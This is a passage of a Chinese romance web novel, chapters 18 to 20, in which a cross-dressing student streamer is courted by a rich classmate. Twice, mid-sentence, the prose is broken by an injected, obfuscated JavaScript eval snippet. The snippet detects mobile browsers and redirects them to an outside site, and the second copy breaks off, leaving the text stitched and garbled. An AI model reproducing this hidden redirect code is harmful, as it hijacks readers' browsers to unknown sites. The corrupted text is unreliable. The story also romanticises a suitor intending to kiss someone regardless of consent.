“萌小绥”的存在确实古怪，但还不至于让喻之夏觉得委屈。他现在满脑子都是时绥刚才替自己挡酒的身影，根本听不进洛初的话。 眼看连喻之夏都不搭理自己，洛初脸气得发绿，重重锤了下沙发，也依然无人在意。 18、第十八章 包厢里，喧嚣稍歇。 江以桓侧过头，低声问萌小绥：“还生气吗？” 他俊美到冲击力十足的眉眼近在咫尺，被酒水浸染过的嘴唇看起来很湿，语气近乎讨好。 “对不起，原谅我吧，我只是太想早点见到你了。” 萌小绥还残留着颊吻带来的心跳加速和酒精的微醺，对上江以桓专注的眼神，心里的气也消了大半。 他小声道：“那下次不准再骗我了。” “好。”江以桓答应得干脆，嘴角噙着笑。 一直暗中观察的洛初，看着两人旁若无人的低语，妒火中烧。 他眼珠一转，故意拔高声音：“咦？时随呢，刚才起就没看见他了呢，跑哪儿去了？” 醉醺醺的顾鸣川立刻被点醒，拍着桌子嚷嚷：“对啊，时随呢？！我的追求者呢？我得去找他……” 洛初顺势看向江以桓，笑容甜美却带着刺：“江哥，你不去找找吗？时随上次在操场给你送水，我看你对他……也挺好的呀？什么事都叫他代劳。” 他故意顿了一下，意有所指地扫了一眼沉默的喻之夏：“说起来，江哥你和夏夏的婚约……” 洛初没说完，但未尽之意挑拨意味十足。 萌小绥正震惊在自己什么时候成了顾鸣川的追求者了。愣愣的表情被江以桓收入眼底，江以桓缓缓转过头，目光如同淬了冰的利刃刺向洛初。 没有怒吼跟斥责，仅仅是一个冰冷锐利，透出极度厌烦的眼神。 洛初脸上的笑容僵住，仿佛被无形的巨手扼住了喉咙，连呼吸都变得困难。 冷汗浸湿了洛初的整个后背。江以桓懒得再看他一眼，牵起萌小绥的手：“饿了吗？带你去吃点东西。” 语气恢复了之前的温和，仿佛刚才的冷戾只是错觉。 萌小绥点点头，顺从地被他牵着离开包厢，逃离了那片令人社恐的空气。 江以桓的车是一辆通体黑色的顶级超跑，行驶在夜晚的城市流光中。 车内弥漫着淡淡的木质香气，隔绝了外界的喧嚣。萌小绥靠在舒适的座椅里，看着窗外飞速掠过的霓虹，心想得赶紧找个借口溜。 江以桓转了他五十二万，就算让自己大学四年天天给他跑腿都够了，他不应该再跟江以桓有更多联系的。 正想着，手机突然震动了一下。拿出来一看，屏幕上跳出一条来自养母的短信： 「钱呢？！这个月赡养费还没打，是不是翅膀硬了想飞？再不转过来，我明天就去你学校找你老师聊聊！」 旖旎的氛围瞬间被击碎，好心情如同被戳破的气球，萌小绥的脸色以肉眼可见的速度黯淡下来： 差点忘了这个“吸血鬼”。 养母虽然对原主抠门，却没有任何虐待行为，打官司估计不成，秉着多件事不如少件事，七十万……他得赶紧攒够。 车子很快停在一家灯火辉煌的餐厅门口。江以桓直接随意地将车停在正门口的路边，拔下钥匙，随手丢给早已恭敬等候在门口、穿着笔挺制服的服务生。 萌小绥看着这操作，惊讶地小声问：“直接乱停车吗，这不是违章行为吗？” “没事，有人会帮忙停好。”江以桓轻笑一声，自然地牵过“她”的手往里走：“这家店是我家产业之一。” 时绥：“……”是我见识短了。 在侍者的引领下，两人在视野绝佳的靠窗位置落座。 璀璨的城市夜景如同一幅流动的画卷铺陈在巨大的落地窗外。 江以桓看着对面在华丽水晶灯下更显精致的“少女”，目光专注而认真：“正式自我介绍一下，我叫江以桓。” 他顿了顿，眼底带着一丝了然的笑意，“我猜你的名字里，应该带一个‘绥’字？” 萌小绥点了点头，面上维持着镇定，并没有说出“时绥”这个名字。 江以桓也不追问，从善如流，声音低沉带有一丝亲昵：“好，那我以后还是叫你绥绥。” 侍者送来菜单，态度恭敬，眼神在两人之间流转，忍不住赞叹道：“二位无论是身高差、颜值、还是气质都真的是很般配。” 这话简直说在江以桓心坎上，眼看江以桓塞了那名侍者一叠小费。时绥：笑笑蒜鸟.jpg “她”翻开菜单，看着上面令人咋舌的价格，一个简单的沙拉都抵得上他几天生活费，顿时压力山大。小声提议：“要不我们还是换一家吧，这里好像有点贵……” “有忌口吗？”江以桓却问。 “没……” 江以桓目光扫过菜单，根本没看价格，直接对侍者报了几个招牌菜名：“就这些。” 他转向萌小绥，温和安抚道：“不用担心钱的事，你只需要告诉我你喜欢吃什么。” …… 精美的菜肴一道道送上，窗外夜景迷人。但萌小绥说不清是心不在焉还是多愁善感，时不时飘向窗外的目光染上一丝忧郁。 江以桓敏锐地捕捉到了他的情绪变化，放下刀叉，轻声问：“怎么了，菜不合胃口？还是有心事？” 萌小绥回过神，勉强笑了笑：“没什么，只是看夜景看入迷了。” 他当然不会提“吸血鬼”养母的那条短信，因为实在有卖惨的嫌疑。 江以桓沉默了几秒，修长的手指在铺着雪白桌布的桌面上敲了敲，终于像是下定决心般清了清嗓子：“绥绥，你知道北极熊为什么不吃企鹅吗？” “……？” 啊这，好突然。 江以桓没等到萌小绥的回答，自顾自地揭晓答案：“因为北极熊在北极，企鹅在南极，当然吃不到了。” 说完，他还特意做了个摊手耸肩的动作，脸上挤出一个“有趣吧”的表情。 空气仿佛尬住了。 离得近的服务员笑得掩唇，露出一副磕到了的表情。 萌小绥呆呆地注视着眼前这个反差巨大的男人。 那个在包厢里一个眼神就能让人噤若寒蝉的江以桓，居然讲着如此幼稚的冷笑话！ “……” 萌小绥：“噗，噗哈哈哈！” 明明是个混世魔王，居然在对他讲冷笑话，巨大的反差混合着那笑话本身幼稚的冷感，瞬间戳中了萌小绥的笑点。 “她”再也忍不住，捂着嘴笑出了声。 “江、江以桓……你这个笑话……哈哈哈，也太冷了吧！” 江以桓托着半边腮看着萌小绥笑，似乎很满意自己的哄人方式奏效了。 他故作懊恼地蹙起眉，身体又往前倾了倾，凑得更近，几乎能看清萌小绥笑出来的晶莹泪花，用带着点委屈的语调追问：“诶～真的这么不好笑吗？我可是想了很久的。” 那双深邃的眼睛凝望着萌小绥，里面夹带一丝期待被肯定的光芒，就宛如一只努力表演完等待夸奖的大狗，完全颠覆了平日的高冷形象。 萌小绥好不容易止住笑，面对江以桓近在咫尺的俊脸，还有那掩不住期待的眼神，心里某个角落像是被羽毛轻轻挠了一下。 反应过来后，“她”拿起手边的公筷，夹了一块甜点轻轻放到江以桓面前的骨瓷碟里，声音带着笑后的微喘和一丝不自知的亲昵： “好啦好啦，虽然笑话有点冷，但是谢谢江哥哥想逗我开心。”萌小绥说，“这个甜点很好吃，你快尝尝。” 江以桓拿起小勺，挖了一勺甜点送入口中，甜腻的滋味在舌尖化开：“嗯，果然很甜。” 他低声说，目光却始终没有离开萌小绥的脸，也不知道是在说甜点，还是在说人。 晚餐后，两人沿着安静的江边步道散步消食。 秋夜的风带着凉意，萌小绥下意识抱了抱手臂。 察觉到身边人突然不走了，萌小绥也慢半拍地停下，下一秒，肩膀上就多了件外套。 江以桓不由分说地为萌小绥披上自己的衣服，外套带着他的体温和淡淡的木质冷香，瞬间隔绝了寒风。 被温暖包裹着，萌小绥的心跳倏忽有些乱。 “她”仰头看向身边高大的男人，借着微醺的酒意和夜色带来的勇气，轻声问：“江以桓……你是不是喜欢我？” 又是刷礼物、转钱、送名牌包包，现在还对他那么好…… 江以桓侧头看“她”。 夜色中，他的目光深邃如海，仿佛洞察一切：“那你呢，你想听到什么样的答案？” 江以桓没有直接回答，而是用低沉而充满诱惑的声音反问：“告诉我，你想听什么？我会说给你听。” 这狡猾的回答让萌小绥红了脸，也清醒了几分：“我听包厢里的人说你有婚约在身上。有婚约的人和我单独吃饭，还这样，是不是不太好？” 呃。饭都吃完了，现在才说这话，连他自己都觉得有点茶茶的。 江以桓静静地注视了“她”几秒，没有立刻回答，而是直接拿出了手机，在萌小绥惊愕的目光中，拨通了喻之夏的电话，并且按下了免提键。 电话很快接通。 “需要我帮忙向你大哥说明退婚的事么？”江以桓声音没有波澜，清晰地穿透夜风，“如果你觉得有困难，可以由我去说。” 电话那头陷入了死一般的沉默。 过了好几秒，喻之夏的声音才微弱地响起：“……江以桓，这件事太突然了，我希望你再慎重考虑一下。” “当初订下这婚约的人是我妈跟你大哥，并不是因为我们互相喜欢，这你我都应该很清楚。” 江以桓目光牢牢锁住身边脸色一点点变白的萌小绥，仿佛在回答喻之夏，又像是在问眼前的人：“我的心上人很介意这件事，你认为我还有必要考虑吗？” ……完了，剧情线怎么会变成这样！ 主角攻因为一个原著中不存在的“萌小绥”要和主角受解除婚约，这两人要be了？！ 萌小绥往后退了小半步，嘴唇翕张半天，却因为过度震惊，一个字也说不出来。 夜风似乎更冷了。 挂断通话后，江以桓看着萌小绥裹紧身上的外套，惊惶不安的样子，忽然弯身凑近。 俊脸在眼前放大，呼吸几乎交缠。 萌小绥心脏骤然停跳，以为他要吻下来，紧张得闭上了眼睛，长长的睫羽如同受惊的蝶翼剧烈颤抖。 然而，预想中的吻并未落下。 江以桓只是伸出修长的手指，极其轻柔地从他脸颊上拈起一根掉落的假睫毛。 他指尖的温度若有似无地擦过皮肤，带来一阵细微的战栗。 “掉了根睫毛。”低沉的嗓音透出一丝令人捉摸不透的笑意，江以桓将那根细小的睫毛展示给“她”看。 萌小绥一下睁开眼睛，对上男人促狭的笑眼，脸红得恨不得找个地缝钻进去。 江以桓似乎很满意“她”的反应，退开一步，恢复了惯常的距离，语气自然地问道：“回去后，能和你视频通话吗？想看看你。” ……还视频，开什么国际玩笑。 “不行。”时绥找借口道：“我还要卸妆，而且明天有早课，得早点睡。” 江以桓看“她”慌乱的样子，眼神暗了暗，倒也没强求，只是抬手，极其自然地揉了揉那顶柔软的假发：“好吧，那早些休息。” 语气有妥协也有遗憾。 他亲自开车将萌小绥送回了那个用他钱租下的公寓楼下。 望着那道纤细的身影消失在楼道口，江以桓靠在车边，点燃一支烟，忍得手背青筋凸显，在烟雾缭绕中不甚满足地想：下次一定要亲上去。 不管萌小绥愿不愿意。 19. 第十九章 J：「到家了吗？」 萌小绥刚在玄关换完鞋，就收到了江以桓发来的消息。 「我到了哦，江哥哥。」 J：「到了就好。早点休息，别熬夜。」 J：「晚安，绥绥。[月亮.jpg]」 看着这两条透着关切的消息，萌小绥心情复杂，尤其想到今晚江以桓对待“她”的好。 手指悬在屏幕上方，到最后也没有回复。 第二天时绥课程排满，江以桓从早到晚总共给他发的十来条消息他都没回。 就这么持续了两三天，结束当天兼职的时绥回到宿舍开了直播。 他今天试了好几条漂亮的小裙子，有很强烈的分享欲。除了知道他穿女装的苏蕊，能倾听他说这些的只有粉丝们了。 直播刚开始，时绥还没和观众闲聊多久，熟悉的超跑轰鸣特效就炸满了屏幕。 【全平台广播：尊贵的“用户_Jd1Hq”在“萌小绥”的直播间赠送了「幻影超跑」x2！极速狂飙，闪耀全场！】 又是二十万。 接踵而至的是一条镶着华丽烫金边框的弹幕： 用户_Jd1Hq：【这两天为什么不回消息？】 满屏的【富哥查岗！】【绥绥快哄哄金主爸爸！】【J哥生气了！】飞速刷屏。 时绥扯出一个笑容，继续和观众互动，假装没看见那条弹幕。 下播后，他越想越混乱，忍不住给学姐苏蕊发消息：「学姐，你觉得这世界上真的存在一见钟情吗？」 苏蕊回复的口吻带着看透一切的八卦：「哟～见完榜一大哥回来就思考人生啦？」 「是你对他一见钟情了还是他对你？」 「当然是他对我。」给时绥几十条胆子都不敢对江以桓抱有什么想法。 苏蕊：「难说哦，大多都是见色起意，还有男的说全凭感觉，其实我认为就是荷尔蒙作祟。小学弟你可千万记住，一开始就对你特别好的人多半都别有所图，你可千万别轻易被他睡了！男人嘛，得不到的永远在骚动，得到了就容易不珍惜，这你懂吗？」 “……”时绥表示不是很懂。 所以，江以桓是图萌小绥身子？ 给“她”转账送钱对“她”好只是为了和“她”睡觉？ 直觉告诉时绥，不是，江以桓在圈子里的名声响亮，却从没被曝出过私生活混乱等传闻，说他很讨厌肢体接触的倒不少…… 学姐的回答并没有解开时绥的困惑，他决定去问问和江以桓走的比较近的沈彦泽。 时绥找了个机会，在沈彦泽独自在图书馆看书时，装作不经意地凑过去：“那个，我有点事想请教你。” 沈彦泽闻言从书页上抬起头，架着那副金边眼镜，镜片后的目光带着询问：“嗯？” “就是，江哥他……”时绥斟酌着措辞，“你觉得他会喜欢什么样的人？” 沈彦泽的目光在时绥紧张的脸上停留了几秒，镜片似乎极快地闪过一抹了然和精光：果然，时随还是放不下江哥。 这是听说萌小绥的事，来打探“情敌”消息了？ 他合上书，语气平淡却带着笃定： “以我对江哥这么多年的了解，脸和性别对他来说都不重要，他更看重一个人的内核。” 沈彦泽分析道：“性格，灵魂的契合度，或者说，那个人身上是否有让他觉得有趣、特别，能勾起他探索欲和占有欲的特质。” 他顿了顿，补充道：“当然，脸好看是加分项，但绝不是决定性因素。” …… 什么叫灵魂契合？ 江以桓到底看上了“萌小绥”哪一点？ 因为萌小绥，原著剧情崩盘，江以桓都要跟喻之夏退婚了！ 身为萌小绥的他今后该怎么办？ 摊牌？包死的吧。 时绥纠结得整晚没睡好，最终得出的结果还是先晾着江以桓。 次日去公司被苏蕊撞见，后者都惊了一跳：“哎哟我的大宝贝！你这皮肤状态怎么回事，昨晚做贼去了？黑眼圈都快掉到下巴了，再天生丽质也经不起你这么造啊！” 她心疼地戳了戳时绥的脸颊：“赶紧去买点好的护肤品救救急，钱不够先从我这儿拿。” 时绥被她说得也有些紧张，尤其这几天吃不好睡不好，下巴还长了几个小痘。下午结束兼职后，一咬牙冲进商场专柜，买了好几瓶死贵死贵的护肤品。拎着沉甸甸的购物袋，他肉疼得龇牙咧嘴。 刚回到学校，冤家路窄，就在宿舍楼下撞见了浑身散发着低气压的江以桓。 显然，萌小绥的持续“已读不回”让这位爷心情极其恶劣。 江以桓用余光睨过时绥手里印着奢侈品牌标志的购物袋，嗓音凉凉： “平日里过得不是挺拮据吗，哪来的钱买这些？” 最初看见时绥和一个女人一起购物的画面浮现脑海。 江以桓说：“你很招人稀罕吗，哪个不长眼的蠢货被你骗了钱？” 虽然时绥性子软，但兔子被逼急了还咬人呢，他立刻就不高兴了：“江以桓！” “怎么？”头回看见这小跟班硬气，江以桓饶有兴趣地挑眉。 江以桓比他高太多，时绥小发雷霆地瞪了一会儿想到什么，立马就不生气了。 “那个蠢货不就是你吗？” 他声音太小，江以桓半点没听清：“瞎嘀咕什么？” “……总之，我的钱怎么来的，不关你事。”说完，时绥绕过江以桓，头也不回地冲进了宿舍楼。 回到宿舍，室友孟灿不在，时绥看着那堆昂贵的护肤品，再想想江以桓那恶劣的嘴脸，一股报复欲涌上心头。 “行，你想让‘萌小绥’回消息是吧，我包你满意！” 本来还想着你转了五十二万后就到此为止的，但你这张破嘴不治治不行！ 萌小绥：「J哥哥～对不起嘛！[哭泣猫猫头.jpg]」 萌小绥：「这几天兼职回来太累了，沾床就睡着啦！早上又赶着去上课，都没看手机QAQ」 萌小绥：「看到江哥哥送的跑车啦，谢谢江哥哥，江哥哥最好啦！[爱心发射.gif]」 萌小绥：「人家好想江哥哥的，江哥哥今天过得开心吗？」 消息几乎是秒回： J：「嗯，累了就好好休息，但也别让自己太累了。」 J：「遇到不开心的事也可以和我说，如果你愿意告诉我的话。」 时绥：嘁，还说我不招人稀罕，最稀罕我的就是你了，虽然是以萌小绥的身份。 萌小绥：「我今天确实不太开心，因为遇到个讨厌的人，我感觉他看我不顺眼，总变着法子嘲讽我。[猫猫锤桌.jpg]」 J：「？」 J：「我们绥绥这么好的脾气，居然也会有讨厌的人，那个人生活一定过得很不如意吧？」 J：「乖，我们不跟那种人生已经完了的傻逼一般见识。」 “噗……”时绥差点忍不住大笑出来，江以桓，你可真会骂自己。 哎哟，爽了。 时绥心情瞬间通畅，拿着换洗衣服进浴室洗澡去了。 接下来的几天，时绥仿佛琢磨透了某种规律。 只要江以桓在现实里刁难他，或者脸色开始阴沉，他就立刻用“萌小绥”的账号发几条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172109|180729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜度爆表的消息过去。 效果立竿见影，江以桓的脸色会以肉眼可见的速度由阴转晴，甚至偶尔会对自己的跑腿任务网开一面，或者少了几分刻意的刁难。 时绥一边在心里唾弃这狗逼的双标，一边又暗自庆幸找到了暂时的护身符。 然而这份短暂的安宁很快被打破，几天后，时绥发现江以桓的心情又变得极其糟糕，比以往任何时候都要阴沉，周身散发的低气压几乎能冻伤人。 更让时绥心惊的是，他无意中瞥见江以桓垂在身侧的手——骨节处一片刺眼的青紫和凝结的血迹，显然是重击过什么坚硬物体造成的！ “江哥这次是真动怒了……”顾鸣川压低声音跟沈彦泽议论，脸上带着后怕，“王晟那小子，亏江哥把他当兄弟，竟然敢在背后捅刀子，把他家那个项目核心数据卖给对家，江哥没把他打进ICU算他命大！” “王晟是活该，你认识江哥这么久，还不清楚他的底线？”沈彦泽平淡地阐述着事实，“他最恨的就是背叛和欺骗。” “无论对方是谁，曾经关系有多铁有重要，只要越了这条线，江哥都不会对他们手软。” 时绥刚完买咖啡回来，在边上听得清清楚楚。 背叛，欺骗，无论对方是谁，曾经多重要……萌小绥的身份对江以桓来说，何尝不是一场巨大的欺骗？ 甚至比王晟的背叛更恶劣！ 一旦暴露……时绥完全不敢想象会发生怎样恐怖的事。 冷静过来后，时绥也开始后悔了。 为什么会想着要去报复江以桓呢，他又不是不清楚主角攻那性格有多恶劣多睚眦必报！ 不行，还是得结束。 和钱比起来还是命更重要一些啊！ 逃离的念头前所未有的强烈，但理智告诉时绥，不能突然消失。 江以桓刚经历兄弟背叛，正处于最敏感最暴戾的时期。 如果“萌小绥”此时毫无征兆地消失或冷淡，以江以桓的性格，很可能会迁怒所有相关的人，包括现实中的“时随”。 他需要一个循序渐进，让江以桓不那么抵触的退场方式。 最好的办法，就是让江以桓自己清晰地认识到他和萌小绥并不合适，自己主动放弃。 像江以桓这样的富家子弟……时绥想了想，认为是个不错的法子，主动给江以桓发消息。 萌小绥：「江哥哥在嘛～[猫猫探头.jpg]」 萌小绥：「上次你请我吃饭，这次换我请你吃饭好不好鸭？」 萌小绥：「对了，你答应要给我的水晶球音乐盒，这次可别忘了带过来呀～[期待眨眼.gif]」 毕竟这次恐怕就是最后一次见面，下次要给他带都没机会。 消息发送成功。时绥紧张地盯着屏幕。 在时绥看不到的另一头，江以桓正独自待在卧室里，指关节的伤口隐隐作痛，烟灰缸里堆满了烟头。背叛的怒火和被愚弄的耻辱感啃噬着他的理智，房间里的气压低得吓人。 “叮咚。” 手机屏幕亮起，是特别关注的提示音。 江以桓烦躁地瞥了一眼，当看到那个熟悉的粉色头像和“绥绥”的名字时，阴沉的脸色明显一怔。 点开消息，看着那软萌可爱的文字和表情包，尤其是那句“换我请你吃饭”，江以桓紧锁的眉头不自觉地舒展开，嘴角也勾起了一抹极淡的笑意。 他的绥绥自己送上门来了。 江以桓掐灭了手中的烟，指尖落于屏幕：「好。」 J：「时间地点你定。」 时绥悬着的心稍微落下了一些。 退场计划正式开始了。 20. 第二十章 选了路边一家满是烟火气的苍蝇馆子，萌小绥找了个还算干净的角落位置，拉着江以桓一起坐下。 “老板娘，来两碗牛肉拉面。” 一碗面只要六块钱，薄薄的几片牛肉可怜巴巴地浮在汤面上。 江以桓的车停在巷口，一身看着就不会便宜的衣装吸引了不少食客的目光。 他坐在萌小绥对面那张吱呀作响的塑料凳上，姿态自然到仿佛坐在高级餐厅的沙发里。 时绥心里的小算盘拨得飞快：这种廉价的吃食和环境，像他这种含着金汤匙长大的少爷肯定受不了。 要么觉得我抠门小气，要么意识到我们巨大的阶层差距，说不定就放弃了。 偏偏这位大少爷不按常理出牌。 萌小绥瞧着他拿起一次性筷子，掰开，搅了搅面条，尝了一口汤，然后仿佛碗里是人间美味，大口吃了起来。 萌小绥看得呆了，准备好的哭穷台词卡在喉咙里。 注意到江以桓指关节上未消的青紫和结痂的血痕，萌小绥脑子一转，从小包里掏出一板早就准备好的创可贴。 “你手受伤了。” 萌小绥小心地撕开创可贴，继续抖着小机灵，“贴上吧，这个很便宜的，五块钱三板，我特地为你准备的。” 快嫌弃！快觉得我小家子气！ 江以桓却只是看着“她”低头认真为自己贴创可贴的样子，唇角勾了勾。 这张廉价创可贴，在他眼里可是千金难买的珍宝。 江以桓任由萌小绥动作，指腹无意识地蹭过“她”微凉的手背，“绥绥真细心，还特地想着我。” “不过，绥绥是怎么知道我受伤的？” 这伤是在私人场合处理王晟留下的，萌小绥不该知道。 ……坏了。时绥头脑一白，露馅了？ 他避开江以桓的视线，正绞尽脑汁想着怎么圆回来，却听江以桓自己轻笑了一声，说：“是不是因为我们有心灵感应？” 时绥：“……” 主角攻恋爱脑实锤。 “我平时就有随身携带创口贴的习惯。”萌小绥不接这茬，干巴巴地扯出一个笑容，见江以桓几口就吃完了面，转移话题道，“你还要吗，再来一碗？” “好。” 江以桓颔首，视线一直没离开“她”。 面馆人渐渐多起来，老板娘忙得脚不沾地。萌小绥提高声音喊了两次“再来一碗面”，声音都被嘈杂淹没。旁边一桌等得不耐烦的客人已经开始抱怨。 萌小绥没跟着焦躁，很耐心地对老板娘说：“阿姨，不急的，您慢慢来，小心别烫着。” 态度温和有礼，半点没有因为环境的简陋和打工人的疏忽而颐指气使。 江以桓眼神里的温度更热了几分。 趁萌小绥起身去找老板娘确认时，江以桓目光扫过“她”放在桌面上的手机。 屏幕还亮着，停留在某个购物APP的购物车界面。里边加购了不少东西，大多是各种风格的小裙子。 江以桓不动声色地掏出自己的手机，对着那个购物车界面飞快地拍了一张。 正好，不知道送什么，这下省心了。 萌小绥端着碗回来坐下，毫无察觉。 “少女”精致的外表和与环境的巨大反差，不可避免地吸引了更多目光。角落里几个挺着啤酒肚的中年男人肆无忌惮地打量着萌小绥，目光尤其在他纤细的腿和漂亮的脸上流连。 江以桓脸冷了下来。 萌小绥浑然不觉，低头默默喝汤，忽然从旁伸出一只大手，指腹极其自然地抹过“她”的唇角，带走了一点点汤汁。 “沾到了。” 江以桓声音不大，却足够让那桌人听见，“我女朋友吃东西怎么这么可爱呀？” 他余光扫过那几个男人，果然，几个男人被他冰冷的眼神刺得一缩，悻悻地收回了视线。 萌小绥的脸腾地红了：“谁是你女朋友，你在瞎说什么啊？” 江以桓以目示意了一下后面：“帮你赶走这些臭虫而已。” 随即，他又凑近一点，盯着萌小绥的眼睛：“不过让你做我女朋友的想法是真的。婚约退了，我现在可是单身。” 他指了指自己，又指了指萌小绥，意思明确。 萌小绥只感到荒谬：“……江以桓，你是不是在耍我玩？” “怎么说。” 江以桓的目光坦荡而直接，“我对你很认真。” “不是，可是……你为什么会喜欢我？我身材又不好，我平胸！” 江以桓视线扫过他特意垫厚的胸口，又径直滑向“她”那双笔直修长的腿：“你腿好看啊。” 萌小绥继续自黑：“我发量少，戴的是假发，医生说我将来肯定会秃头！” 江以桓的目光依旧牢牢锁在那双腿上，唇角勾起：“你腿好看啊。” “……” 这人是腿控晚期吧？！ 沈彦泽说过外貌只是加分项，江以桓会喜欢上萌小绥，后者的性格占决定性因素。 难道江以桓是吃“乖乖女”这一套？ 时绥决定让江以桓看看萌小绥不乖的一面。 “我想去打耳洞。” 萌小绥突然叛逆地说。 “好啊。” 江以桓很是赞成，“我陪你去。正好，我也可以再打一个。” 江以桓摸了摸自己左耳上那颗小小的黑钻耳钉：“陪你一起疼，或者你想打其他地方也行。” 他话音稍顿，“比如乳……” “啊啊啊！”萌小绥羞得抱头：疯子，这男人脑子果然不正常！ 吃完面，两人在附近一个老年人居多的公园散步消食。 江以桓几次想牵萌小绥的手，都被“她”躲了过去。 “……别动手动脚的。” “行。” 不让碰就不碰。 江以桓一米九的身量，逛个公园硬是给他逛出了模特走秀的感觉。 他对公园里下棋，跳舞和遛鸟的大爷大妈们毫无异样，犹如身处自家后花园。 其实只要身边是萌小绥，逛哪里都行。 走着走着，江以桓无意中踩到了一个井盖。旁边传来萌小绥的一声轻呼，伸手在他肩膀上拍了下。 江以桓任由“她”摆弄：“怎么了？” “踩井盖会倒霉，要拍肩膀赶走坏运气。” 眼看着萌小绥解释得煞有介事，江以桓低低地笑了起来。 胸腔震动，只觉得可爱得心尖发颤。 “嗯，那谢谢绥绥帮我赶走坏运气？” 说是萌小绥请客，但离开前，萌小绥手里还是多了一杯江以桓买给“她”的、加足了料的奶茶。 走到车旁，江以桓没有直接打开车门，而是绕到车尾，打开了后备箱。 萌小绥好奇地探头一看，呆住了。 “上回见你不太喜欢包，答应过要给你送裙子。” 江以桓把袋子拎出来，放到萌小绥怀里，沉甸甸的，“说到做到。” 萌小绥抱着袋子，像抱了个烫手山芋：“这很贵吧，而且我们又不是……” 不是在谈恋爱啊！ “我知道。” 江以桓打断道。 他靠在车边，姿态懒散，却是不容拒绝的强势：“不是谈恋爱，但我现在是在追你，总要送点东西来证明我的心意。” 见萌小绥手足无措的样子，江以桓说：“你不收下，我不太开心。” 不开心？ 那岂不是又要报复披着萌小绥马甲的自己？ 萌小绥立刻怂了，赶紧点头：“收，我收，谢谢江哥哥！” “她”低头扒拉着袋子里的裙子，心里一边肉疼，这得多少钱啊，一边又忍不住暗爽。 哇，这条设计好绝，搭配上次那个发带肯定好看！ 翻到最下面，手指碰到一个柔软丝滑的东西，拎出来一看，竟然是一个设计精巧的黑色蕾丝项圈。 脑海闪过某些画面，萌小绥的脸“轰”一下红透了，像被烫到一样飞快地塞了回去，这、这东西……他似乎在不小心点进去的情/色网站上看到过同款。 “嗯？怎么了？”江以桓故作不解地凑近，目光扫过那条项圈，又落回萌小绥羞红的脸和纤细的脖颈上，“不喜欢这个款式？” 他嗓音压低，泛着性感的沙哑。 性张力在狭小的车厢里无声弥漫。 萌小绥抱着袋子缩在副驾，恨不得把自己埋进去：“没、没什么，都挺好的！” 江以桓低笑一声，不再逗“她”，发动了车子。 …… 把人送回公寓楼下。 望着萌小绥像只满载而归的小松鼠，抱着一堆礼物袋匆匆跑进楼道的背影。靠在车边的江以桓点燃一支烟，回味着萌小绥今天每一个可爱的瞬间。 刚才在车里，他其实很想扣住他的后颈，吻上那看起来就无比柔软的粉唇。 但瞧着萌小绥那像受惊小兔子般纯净又带着点怯生生的眼神，他硬生生忍住了。 “太乖了，吓跑了就不好了。”他吐出一口烟圈，眼神势在必得。 反正，迟早是他的。 他等得起。 回到公寓，时绥看着那堆价值不菲的礼物，郁闷地挠了挠头发，计划彻底失败了。 江以桓不仅没嫌弃，反而好像更喜欢“萌小绥”了？ 主角攻的执着远超他的想象，这退场计划好像更难了…… 为避免萌小绥无端消失会引来江以桓的报复，时绥只能硬着头皮维持着这段虚假的关系。 只要是江以桓发来的消息，他都会斟酌着回复，不断暗示自己有多配不上江以桓。 偏偏江以桓不吃这套，仍然没完没了地给萌小绥刷着礼物。偶尔看见弹幕上有人撩拨萌小绥，还会吃一些没名没分的醋。 快面临期中考，时绥所在的小组作业遇到了瓶颈。 他们精心策划了一个MV，剧本打磨完毕，拍摄场地也协调好了，万事俱备，就差一个能撑起故事灵魂的男主角。 小组几人愁眉苦脸地围坐在食堂角落。 “找了一圈，各个系的系草都问了，要么没空，要么气质不对。”组长唉声叹气，“我们这剧本，主角需要那种自带故事感和距离感的帅，不是阳光开朗型的。” “是啊，要求太高了，符合的要么是明星，要么就是……”一个组员说着，目光下意识飘向了远处和沈彦泽等人吃饭，周身散发着生人勿近气息的江以桓，随即迅速摇头，“算了算了，那位大神我们可请不动，想都不敢想。” “唉，难道要降低要求吗？”另一个组员沮丧地用筷子戳着饭。 就在这时，食堂门口传来一阵不同寻常的骚动。尖叫声像潮水般涌来，伴随着密集的手机拍照声。 “怎么了怎么了？” “天啊，是喻向锦！喻向锦来我们学校了？！” “啊啊啊！真的是他，好帅！比电视上还帅！” “肯定是来看喻之夏的吧？他们兄弟感情真好！” 整个食堂瞬间沸腾了。 只见喻向锦在助理和保安的簇拥下走进食堂，他戴着墨镜，明星气场强大到让人无法忽视。他微微颔首回应着周围激动的学生，目光却似乎在人群中搜寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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瞧见时绥身上穿的杂牌服饰，对比起自己以前总给为喻之夏买大牌服装，喻向锦忽然觉得胸口有些堵。 走到操场边一个僻静的凉亭，时绥停下脚步：“喻先生，这里歇会儿吧。” 喻先生，礼貌又生疏的称呼。 凉亭里很安静，只有风吹过树叶的沙沙声。 喻向锦走进去，却没有坐下，他转过身，面对着时绥，在时绥疑惑的注视下开口。 “时随，以前是我太冲动了，不管当时情况如何，我都不该对你动手。”喻向锦目光紧紧锁在时绥脸上，生怕从他脸上看到对自己的恐惧或怨恨，“我郑重向你道歉，对不起。” 啊？ 时绥懵了。 他设想过很多种喻向锦找他的可能，唯独没想过会是道歉，而且还是为了当初揍原主那件事？ 那件事在时绥看来，完全是原主活该啊。 霸凌者被教训，天经地义。喻向锦身为受害者家属，替弟弟出头有什么错，他为什么要向“施暴者”道歉？ “那个……你没必要道歉，那件事是我有错在先，你保护喻之夏，是应该的。” 时绥的话里没有半分怨恨，在喻向锦听来，却像一根针，刺进他本就泛出愧疚的心。 